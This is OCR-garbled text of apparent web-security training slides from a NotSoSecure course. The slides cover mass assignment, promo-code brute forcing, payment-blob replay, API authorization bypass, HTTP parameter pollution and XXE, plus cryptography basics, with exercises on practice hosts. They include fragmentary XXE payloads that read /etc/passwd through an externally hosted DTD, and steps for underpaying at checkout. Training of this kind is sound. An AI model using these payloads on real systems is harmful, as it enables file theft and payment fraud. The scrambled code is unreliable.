https://t.mel/learningnets
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Authorization Flaws

* The concept of authorization is to allow access to the resource that
the user has permissions for

* Authorization flaws occur when a user can manipulate requests to
access resources out of their permission range

NotSoSecure part of
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Mass Assignment

* Binding HTTP request parameters to update the model or object
directly could lead to Mass Assignment (Autobinding) vulnerability

* Various names per web framework:

Mass Assignment (Ruby on Rails, NodeJS);

Autobinding (Spring/ASP.NET MVC);

Object injection (PHP)

htt

public class User

{
public Guid UserID { get; set; }
public string Username { get; set; }
public bool isAdmin { get; set; }
public string FirstName { get; set; }
public string LastName { get; set; }
public string Address { get; set; }

ps t-meftearningnets
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Mass Assignment

» Escalate privilege from a bronze user to a gold
user through profile update to avail additional
discount:

Challenge URL.:
http:/topup.webhacklab.com/api/user

Exercise

https://t.mel/learningnets



Invite/Promo Code Bypass

* |nvite/Promo Codes are essential in customer focused business
* Code generation logic is the key focus area

* (Generation Logic can include combination of encoding, encryption,
hashing

* If attacker can understand the Code generation logic or perform
bruteforce over validation API they can make profit

https://t.mel/learningnets
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Invite/Promo Code Bypass

« |dentify the promo code generation mechanism
for O2 Mobile

« Brute-force and identify valid secret promo codes
to get maximum discount on recharge (greater
than 50%):

EX@fClse Challenge URL.:
http:/topup.webhacklab.com/Shop/Topup

https://t.mel/learningnets



Replay Attack

* When interacting with 3rd party applications (e.g. payment
gateway), usually applications combine certain sensitive data into
an encrypted blob, which is decrypted and validated by the 3rd
party

* An attacker can replay a previously valid data blob and pay less for
items with higher cost, in cases where the price and item value is
not cross validated by the 3rd party service

NotSoSecure part of
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Replay Attack

.168.0.103/payment.him

Encrypted Payment Status

Initiate payments for
“X” cost products

Item ABC: X 1= 108

O Item XYZ: X
Total: 508
Y o
CVV:
e Phone No.:

Address:

WebShop Payment Page

Sends encrypted
payment data blob

a payment data blob

E-commerce website

Responds with encrypted

Decrypt Payment
Information and
Process Payment

Encrypted Payment Status
https://t.mel/learningnets

Shared Encryption Key

Payment gateway

NotSoSecure part of
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Attack Scenario

Add cheap items to the cart. During the payment process, capture
the encrypted payment data being sent to the payment gateway

Initiate another shopping process and add expensive/multiple items
to the cart. Replace the payment data with the previously captured
data

If the application does not cross validate the data, we’ll be able to
buy products at a lower price

https://t.mel/learningnets
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Replay Attack

Capture the encrypted
payment data blob

Initiate payments
for low cost
products

192.168.0.103/payment.htmf

(SN G () 192.168.0.103/payment.html

WebShop Payment Page

Payment gateway

Item ABC: X 1 =108
Item XYZ: X 2 =40$
Total: 50$

CC Number

CVV:

Phone No.:
E-commerce

Address: WebS |te

Pay

NotSoSecure part of
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Replay Attack

192.168.0.103/payment.htmf*

(SN G () 192.168.0.103/payment.html

WebShop Payment Page

Payment gateway

Item ABC: X 1 =108
Item XYZ: X 2 =40$
Total: 50$

CC Number

CVV:

Phone No.:

E-commerce

Address: WebS |te

NotSoSecure part of

claranet
/ cyber
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blob with the one captured in step 2 © NotSoSecure 2021 Global

Initiate =
payments for
high cost products

Switch the encrypted payment data

Services Ltd, all rights reserved

https://t.mel/learningnets




Attack Scenario: APl Authorization Bypass

* Arecharge application allows users to access their order details
* The order detalls request consists of userid parameter

* The attacker captures the request and changes the value of userid
from own id to the victim user’s id

* As the application has no authorization validation, the order details
of the victim user is fetched.

https://t.mel/learningnets
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Attack Scenario

* What can we do in case we find following API?
http://www.example.com/v3/customers/me
* Possible Scenarios:

Remove me - http://www.example.com/v3/customers - Safe
Get other stuff - http://www.example.com/v3/staff - Safe
We got customer from other URL

— http://www.example.com/v3/customers/777111555

— http://www.example.com/v3/customers/777111777 - Vulnerable!

https://t.mel/learningnets
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APl Authorization Bypass

« |dentify the password question of
“aabuserX@webhacklab.com” user through API
call

« Update the phone number of the user
“aabuserX@webhacklab.com”

EX@fClse Challenge URL.:
http:/topup.webhacklab.com/api/user

https://t.mel/learningnets



HTTP Parameter Pollution

* HPP attacks can be described as the injection of query string delimiter to
add or override HTTP GET/POST parameter

* Applications behave in different ways when multiple parameters of same
name are passed

e.g. PHP takes the value from the last parameter (of same name)

ASP concatenates the values of all parameters (of same name)

https://t.mel/learningnets
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List: Server Enumeration with HPP

ASP.NET/IIS All occurrences of the specific parameter parl=vall,val2
ASP/IIS All occurrences of the specific parameter parl=vall,val2
PHP/&pache Last occurrence parl=val2
PHR/Zeus Last occurrence pari=val2
JSP,Servlet/Apache Tomcat First occurrence parl=vall
JSP,Servlet/Oracle Application Server 10g First occurrence pari=vall
JSP,Serviet/Jetty First occurrence parl=vall
IBM Lotus Domino Last occurrence pari=val2
IBM HTTP Server First occurrence parl=vall
mod_perl,libapreqz/apache First occurrence parl=vall
Perl CGI/Apache First occurrence parl=vall
mod_perl,lib???/Apache Becomes an array ARRAY(0x8b9059c)
mod_wsqgi {Python)/apache First occurrence parl=vall
Python/Zope Becomes an array ['wall', 'val2']
IceWarp Last occurrence parl=val2
AXIS 2400 All occurrences of the specific parameter parl=vall,val2
Linksys Wireless-G PTZ Internet Camera Last occurrence parl=val2 NotSoSecure part of
Ricoh Aficio 1022 Printer First occurrence parl=vall
webcamXP PRO First occurrence parl=vall CIaranet
DBMan &ll occurrences of the specific parameter parl=vall~~val2 cyber.
security
Reference: © NotSoSecure 2021 Global
https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf Services Ltd, all rights reserved
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HPP Implication

* Override existing hardcoded HTTP parameters
* Access and potentially exploit uncontrollable variables
* WATF rules and input validation bypass

* Modify the application behaviors

NotSoSecure part of
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Real World Example

* Unsubscribe link from email notification:

https://twitter.com/i/u?t=1&cn=bWVzc2FnZQ%3D%3D&sig=647192e86e28fb66
91db2502c5ef6cf3xxx&iid=f6529edf-322d-xxx-b99a-
067876dfe799&uid=1134885524&nid=22+26

* HPPed link from an attacker:

https://twitter.com/i/u?t=1&cn=bWVzc2FnZQ%3D%3D&sig=647192e86e28fb66
91db2502c5ef6cf3xxx&iid=f6529edf-322d-xxx-b99a-
067876dfe799&uid=2321301342&uid=1134885524&nid=22+26

NotSoSecure part of
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* Ref: https://blog.mert.ninja/twitter-hpp-vulnerability/
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CVE-2017-12635: HPP in CouchDB

* CouchDB only allows one admin user to be created via registration, but
allows creating multiple member

* HPP Allows bypassing this restriction:
when a user account is created POST request can be modified with

("roles" [" admin'], "roles™ [])

* First step validation looks at second value of roles, whereas Internal
Parser considers first value

* This results in new user having admin level capabillities

https://t.mel/learningnets
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HTTP Parameter Pollution (HPP)

« Create a new user (userX) with “admin” role in
the CouchDB instance

Challenge URL.:
http://misc.webhacklab.com:5984/ utils/

Exercise

https://t.mel/learningnets
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XML External Entity (XXE) Basics

* An XML External Entity attack is a type of attack against an
application that parses XML input

* This attack occurs when XML input containing a reference to
an external entity is processed by a weakly configured XML
parser, leading to the disclosure of confidential data, DoS,
SSRF, port scanning etc.

NotSoSecure part of
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XML Entity

* Entity represented by &entityname;

* Think of it like a storing a variable

<?xml version="1.0" standalone="yes" ?>
<IDOCTYPE author

[ <IELEMENT author (#PCDATA)>
<IENTITY js "Jo Smith">

|

<author>&js;</author>

L www.freebsd.org/doc/en_US.ISO8859-1

Example 7.10. Using General Entities to Include Files

<!DOCTYPE html PUBLIC "-~//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtmll/DTD/xhtmll-transitional.dtd" [
<!ENTITY chapter.l SYSTEM "chapterl.xml">

<!ENTITY chapter.2 SYSTEM "chapter2.xml">

<!ENTITY chapter.3 SYSTEM “"chapter3.xml">

<!~~ And so forth -->

1>

<html xmlns="http://www.w3.0rg/1999/xhtml">
<l-- Use the entities to load in the chapters -->

&chapter.l;

&chapter.2;

&chapter.3;
</html>

https://t.me/learningnets
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XML Parsing in Applications

* Many applications parse the XML files submitted by the end
user and may display elements of the XML file in the output

value of
author node

<?xml version="1.0" standalone="yes" ?>
<IDOCTYPE author

[ <IELEMENT author (#PCDATA)>
e.g. Thanks

“Jo Smith” f <IENTITY js "Jo Smith"> NotSoSecure part o
O >ml or claranet
. > @cyber
your Subm|SS|on\ security
<authg Futhor>

© NotSoSecure 2021 Global
Services Ltd, all rights reserved

https://t.mel/learningnets



XML External Entity (XXE)

* Identify and exploit XXE to extract the contents
of the file '/etc/passwd' :

Challenge URL.:
http://hc.webhacklab.com/vl/api/status

Exercise

https://t.mel/learningnets



Out of Band Basics

Out of band technigue can be used in case of we do not get
response to the same page, by making the application server
make requests (HTTP/DNS/FTP etc.) to an external host
(controlled by the attacker)

NotSoSecure part of
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JSON to XML

* JSON requests can also be converted to XML (incase server

also supports XML):

Content-Type:

application/json — Content-Type: application/xml

POST /v2/api/status HTTPF/1l.1
Host: hec.webhacklab.com

User-Agent: Mozilla/5.0 (Windows NWT 10.0;

Firefox/56.0

Accept: text/html,application/xzhtml+xml,application/xml;q=0.9,%/%;g=0.8

Accept-Language: en-0S,en;g=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Regquests: 1
Content-Length: 78

Content-Type: applicaticon/json;charset=U0TF-8

{"root": {"root": {"Object": {
i o b TR (o B L
"Domain": "test.com”

Fr1}

0ST /v2/api/status HTTP/l.1
ost: ho.webhacklab.com

WOW64; rv:ib6.0) Gecko/20100101 irefox/56.0

ccept-Language: en-US,en;jg=0.5
acept-Encoding: gzip, deflate
onnection: close
pgrade-Insecure-Requests: 1
ontent-Length: 148

?xml version="1.0" encoding="UTF-8"
root>

root>

Object>

IP>10,1.1.1</IP>
Domain>test.com</Domain>

/Object>

/root>

/root>

JSON request

ser-Agent: Mozilla/5.0 (Windows WT 10.0; WOW64; rv:56.0) Gecko/20100101

ccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8

ontent-Type: application/xml;charset=0TF-8

standalone="no"?>

Trying XXE now ?

https://t.mel/learningnets

Converted XML request



Advanced XXE Exploitation over OOB channels

In certain cases the XML external entities are being processed
on the server side yet don'’t reveal any information in the
response to confirm the XXE execution

In such cases Out-of-band (OOB) channels such as DNS,
HTTP and FTP can be used for confirmation and exploitation of
XXE

XXESERYV is one such tool which can be used to set up a mini
web server with FTP support for XXE payloads.
https://github.com/staaldraad/xxeserv

Reference:
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

https://t.mel/learningnets
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Advanced XXE Exploitation over OOB channels

Attack Scenario:

* For OOB exploitation an attacker can craft payloads which contain requests fo
externally hosted Document Type Declaration (DTD), which can be used for
confirming the vulnerability

* Further exploitation in form of file extraction.

<?xml version="1.0" 7>
<!DOCTYPE extdtd |
<!ENTITY % ent SYSTEM "http:

IENTITY % d SYSTEM "file:///etc/passwd
'ENTITY % ¢ "<!ENTITY rrr SY¢ '

1>
<extdtd>&rrr;</ettdtd>

Request payload

https://t.mel/learningnets



Adv XXE Exploitation over OOB

« |dentify and exploit blind XXE over OOB channels
on the API v2 to extract the contents of the file
/etc/passwd from the host:

Challenge URL.:
http://hc.webhacklab.com/

EXGfClse  Note: Use userX.webhacklab.com for performing
this exercise

https://t.mel/learningnets



XXE through SAML

* SAML based service requests contain XML document and
hence are prone to XML External Entity (XXE) attacks

Attack Scenario:
* The attacker can inject the payload into the SAML-XML service

document and execute the payload leading to XXE, if the XML
parser is weakly configured

NotSoSecure part of
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XXE through SAML

Go Cancel < |v >|v Target: https:// LI RS L/JU

Request Response

Raw | Params | Headers | Hex | samL Raider | Raw | Headers | Hex [ HTML | Render |

XSWA... “br>
Glt;div id=&quot;containeriquet;bgt;

Encrypted with

<br>
Glt;head&gt;
<br>

XXE OOB payload |njected into decoded SAML .......:50mm%000e

t-asn 8859-l&quot; /&gt;

? ! i Assertion <br>
? - ¥ | Preview in Browser... | | Reset Message J Elt;a
Condition Not Before 2016-09-1... href=Gtguet;http://go.m
Apply XSW _n9_ j&lt;img sre=&tquot
Condition Not After 2016-09-1 h“’“_ﬂu“ 4116quat]
Issuer IDP_MAAC_... <br>
. Glt;/divagt;
Signature <br
XML Si... Signature Algorithm http:/ /www... Elt;/bodykgt;
— f - <br>
? \¥) | Remave Signatures | | (Re-)sign Assertion | Digest Algorithm http:/ /waw... Glt;/htmlEgt;’ cannot be part o system identifier 'file:///Elt;!DOCTIPE
3 html PUBLIC &quot;-//W3C//DTD XHTML 1. rict//ENGquot;
Send Certifi Sub Conf Bef Gquot;http://www.w3.org/TR/xhtmll/DTD ll-strict.dtdéquot;&gt;
ti te b <br>
Sf\rIIHL REa’Il;elr(?::rl(: | L et ubject Cont. Hot fefore ni’:-hml xmlns=Gquot;http://wnw rg/1999/xhtmliquot kgt ;
% Subject Conf. Not After  2016-09-1... 4 quetihttp: R 8 quotj&gt;

=8quivsGquot ;Conten petquot; contentsm&Gquot;text/html;

Iilt title&gt;IIST&LL; ftl.t]..&gtl

Ready

nfe

grsion="1,0" oding="UTF-8" 2> A
2 I- 'DOCTYPE foo SYS ttp:// )/ xxe.dtd" I ilt,s:yll type=tquot;text/css&qul
3 <samlp:Response Destination="hiip " ;i’;*‘
: et Payload extracts the
J 2, tent of internal fil
“urn:oasis:names:tc:SAML:2.0:prot > :gis‘=*°°°°°°i content or Interna e
<saml:Issuer xmlns:saml="urn:oa ames:tc:SAML:2.0:assertion">IDP_MAAC_PROD</ background—color: FB3B3B3;
saml:Issuer> <bra
<samlp:Status xmlns:samlp="urn: inames:tc:SAML:2.0:protocol"> margin:0;
<samlp:StatusCode Value="urn: inames:tc:SAML:2.@:status:Success” <br> e
xmlns:samlp="urn:oasis:names:tc:S .@:protocol"/> } M
<.-’5ar-nl;‘]:5tatLAIS> e o R v 2 | < + > welcome.png&qud &quot;lIs7 S matches

20,967 bytes | 1,051 millis

.:~% python -m SimpleHTTPServer 89
Serving HTTP on 0.0.0.0 port 8999 ...
[14/Sep/2016 17:49:51] "GET
- - [14/Sep/2016 17:51:45] "GET
- — [14/Sep/2016 17:52:14] "

)
<!ENTITY % paraml "<!ENTI #37;
%paraml; %external;

99

/xxe.dtd

P/1.1" 200
P/1.1" 200
P/1.1" 200

%pay load; '>">
https://t.me/learningnets
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XXE through SAML

« Exploit SAML XML to perform XXE attack and
extract the contents of the file
“c:/windows/win.ini” from the host:;

Challenge URL.:
http://topup.webhacklab.com/saml/SAML.aspx

Demo

https://t.mel/learningnets



XXE In File Parsing

* Open Document Format is an XML based file format
* Files in ODF : docx, pptx, xIsx, odt, ods, odp and more
* The files are zip collection of multiple XML'’s

* This gives rise to possibilities of exploiting XXE bugs in file
parsers

* A user can edit these XML files and inject an XXE payload. If
the backend XML parser allows XML External Entities, an
attacker can abuse it to perform an XXE attack NotSoSecure part o

claranet
/ cyber
security

© NotSoSecure 2021 Global
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XXE In File Parsing

FavorRes Toos Hep

lln-Vl')I)‘Xﬁ

Test Copy Move Delete Info

Add Extract
7 [ C:\sers\Computer Downloaddhore_fleread.docx docrops! |

Name | Sze|  Packed Size | Modfied | Created [ Accessed

* app.m 71 362 1980010104:30 201509-0900:48 2015-09-09 00:48 [ -

B coreomi 859 430 201801-1210:01 2015090900:48 201509-09 00:48 T“leITHISISSECRET has been added.

Fle Edt Format View Hep
?xm] version="1.0" encoding="UTF-8" standalone="yes"?>

TOOCTYPE root[
<’ENTITY xxe SYSTEP o L1brary webserver Documents ‘xxe/secret”>
3 orlg/package/2006/met]

Zsubjec ></ césubjecb
icreator></dc:creator>
:keywords></cp:keywords>
:description></dc: descrlpt1on>

The application

21astvod1f1edsy>< cp:lastmodifiedsy>
srevisionsl</cp:revisions
executes the XXE
in docx

Upload the
docx file

Inject the payload . —
in the docx file -
LSRG () 192.168.0.103/xxe/

NotSoSecure part of

claranet
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cyber
security

This is a sample docx file

No file selected.

httpst//ttmeftearningnets

upload
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XXE In File Parsing

« Upload a file having 'docx’ type to perform an
XXE attack and extract the contents of the file
'letc/passwd’ from the host:

Challenge URL.:
http://shop.webhacklab.com/career.php

Exercise

https://t.mel/learningnets



(M Key Terminologies

' Known Plaintext Attack
“ Q Padding Oracle Attack
Exploiting padding oracles with fixed IVs

Module: Hash Length Extension Attack

Auth Bypass Using MachineKey

Breaking Crypto

And relevant case studies



Breaking Crypto

e Cryptography plays a significant role in most of the dynamic
applications, ranging from storing sensitive data to passing on
information to a payment gateway

e |n this section, we’ll talk about attack vectors involving cryptography
used in web applications (client and server side)

NotSoSecure part of
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Terminologies

Ciphers

ECB - Electronic Code Book

CBC - Cipher Block Chaining

R

Padding




Encryption

Encryption is the conversion of plaintext into ciphertext, which cannot
be easily understood by anyone except authorized parties

Symmetric:

O Known as secret key cryptography as a single key is used between sender
and receiver to encrypt and decrypt data

Asymmetric:

O Known as public key cryptography. Asymmetric cryptography uses public
and private key pair to encrypt and decrypt data

NotSoSecure part of
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Ciphers

A cipher is an algorithm for performing encryption or decryption of data
with series of well-defined procedures

e Types:
O Stream Ciphers - Encrypts data one by one at a time.

O Block Ciphers - Encrypts data in blocks (64 bits or 128 bits)

NotSoSecure part of
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Electronic Code Book (ECB)

. ECB |S a mOde Of Plaintext Plaintext Plaintext
. (HNERERRERRERN HEREERERRERER (HEERERRERREEN
operation for a block ] ; i
cipher oy —[ ok SBPT] oy [ ok cpher | ey [ Blockcpher
 Plaintext is divided into EENEREENREEN EENERENNNNENE ||||_|||l||||||1
bIOCkS and eaCh bIOCk Ciphertext Ciphertext Ciphertext
produces Corresponding Electronic Codebook (ECB) mode encryption
ciphertext block
Ciphertext Ciphertext Ciphertext
. . (HNERERRERRERN HEREERERRERER (HEERERRERREEN
* Same plaintext value will ] ] ]
always produce the same [k —| ecypton | & —| Secnpton | Ke¥—=| crption
ClpherteXt l NotSoSecure part of
" pintext "~ raintext ~ Plintext @claranet
cyber
Electronic Codebook (ECB) mode decryption security

Reference:
https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

https://t.mel/learningnets
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Cipher Block Chaining (CBC)

° CBC |S a mode Of Plaintext Plaintext Plaintext
. (IEREENEREEEEE] (HEREERRRENEER (HENEREREEERENE
operation for a block Initialization Vector (IV)
. LIrrrrrifrffir)——
cipher
block cipher ock cipher ock cipher
Key —> encrypfion Key —= bs_lnctyp{}ign Key — bénclr(ypfc)i:n
« Each block of plaintext — — |
. . (IEEEENENREEEE] HEREENRRENEER HEERRENERRNEN
IS XORed W|th the Ciphertext Ciphertext Ciphertext
previous Ciphertext Cipher Block Chaining (CBC) mode encryption
block before being
Ciph Ciph Ciph
encrypted L Illpl :e:-tlelx'l:l 1] [l |||p| Ie:-tle[xfl | L1 ]IIp] ;E;tle]x::] 1]
* An initialization vector ey —=| Seeryption | | K| ‘secrypton | | ¥ | ‘secryption
I Initialization Vector (IV)
(IV) IS usedto make LIITTTIIIIIIfl]l—— % %
eaChdataunlque (HIEREENENREENN] HEREENRRENEER (HENRRENRNRNENE
Plaintext Plaintext Plaintext
Cipher Block Chaining (CBC) mode decryption
Reference:

https://en.wikipedia.org/wiki/Block _cipher_mode_of operation
https://t.mel/learningnets
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Padding

* In block cipher mode, encryption is done in the fixed size
blocks, and padding is used to ensure that the cleartext data
exactly fit in one or multiple blocks of fixed size input as
plaintext data may come in arbitrary size

* Padding is composed of the number of missing bytes and
added into the plaintext

Block 1

2 3 4 5 6 7 8
A 0x07 0x07 0x07 0x07 0x07 0x07 0x07
Sunil u n i | Ox03 0x03 0x03
Sudhanshu d h a n 3 h u 0x07 0x07 0x07 0x07 0x07 0x07 0Ox07

PKCS7

NotSoSecure part of

claranet
/ cyber
security
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Crypto Attacks

* Ciphertext-Only Attack (COA)

o The attacker has access to a set of ciphertext(s).

* Chosen-Ciphertext Attack (CCA)

o The attacker can choose different ciphertexts to be decrypted and obtain
corresponding plain text.

* Known Plaintext Attack (KPA)

o The attacker knows the plaintext and its ciphertext.

* Chosen Plaintext Attack (CPA)

NotSoSecure part of

o The attacker has the text of his choice encrypted. @g?brgpet

security
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Known Plaintext Attack (Faulty Password Reset)

* An attack model which involves the attacker having
samp